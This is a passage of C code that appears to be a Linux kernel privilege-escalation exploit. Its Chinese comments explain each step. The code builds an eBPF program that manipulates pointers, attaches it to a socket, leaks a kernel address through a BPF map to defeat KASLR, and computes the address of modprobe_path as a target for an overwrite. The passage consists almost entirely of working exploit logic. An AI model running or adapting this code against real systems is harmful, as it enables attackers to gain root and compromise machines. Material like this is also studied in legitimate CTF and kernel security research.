    BPF_ALU64_REG(BPF_XOR, BPF_REG_0, BPF_REG_2),
    BPF_ALU64_REG(BPF_XOR, BPF_REG_1, BPF_REG_0),  
 
    BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_1, 0),
 
 
    BPF_STX_MEM(BPF_DW, BPF_REG_3,  BPF_REG_2, 0), // 储存r2中保存的modprobe_path的地址到r3(map_ptr)指向的地址的位置
    //end
    BPF_MOV64_IMM(BPF_REG_0, 0),               // 在非root的情况下必须加这一条,否则会直接挂掉(不知道为啥)
    BPF_EXIT_INSN(),
};
 
    progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,insns, sizeof(insns), "GPL", 0); 
    printf("[+] progfd: %d\n",progfd);
    if(progfd < 0){perror("[-] eBPF load");puts(bpf_log_buf);exit(0);}
    //printf("[+] bpf_prog_load success\n");
    if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)){
        __exit(strerror(errno));
    }
    if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0){
        __exit(strerror(errno));
    }
 
    writemsg();
 
    uint64_t key;
    uint64_t val[0x400];
    key = 0;
 
    assert(bpf_lookup_elem(expmapfd,&key,&val)==0);
 
    // 在leak的时候实际有多种情况:
    int leak_flag = 0;
    if((val[0]&0xfff)==0xb40){leak_flag = 1; kernel_offset = val[0] - 0xffffffff8284db40; }
    else if((val[0]&0xfff)==0xa20){leak_flag = 2; kernel_offset = val[0] - 0xffffffff8284da20;  }
    else if((val[0]&0xfff)==0x820){leak_flag = 3; kernel_offset = val[0] - 0xffffffff823fc820; }
 
    if(leak_flag==0){
        printf("[+] lookup key = 0, val = %#lx\n",val[0]);
        printf("[-] Leak failed ; (\n");exit(0);
    }
 
    printf("[*] leak_flag = %d\n",leak_flag);
    printf("[*] leak success\n");
 
 
    kernel_base = 0xffffffff81000000 + kernel_offset;
    // 通过call_usermodehelper_setup的第一个参数找到未导出符号的modprobe_path(0xffffffff8284db40
    modprobe_path = 0x184db40 + kernel_base;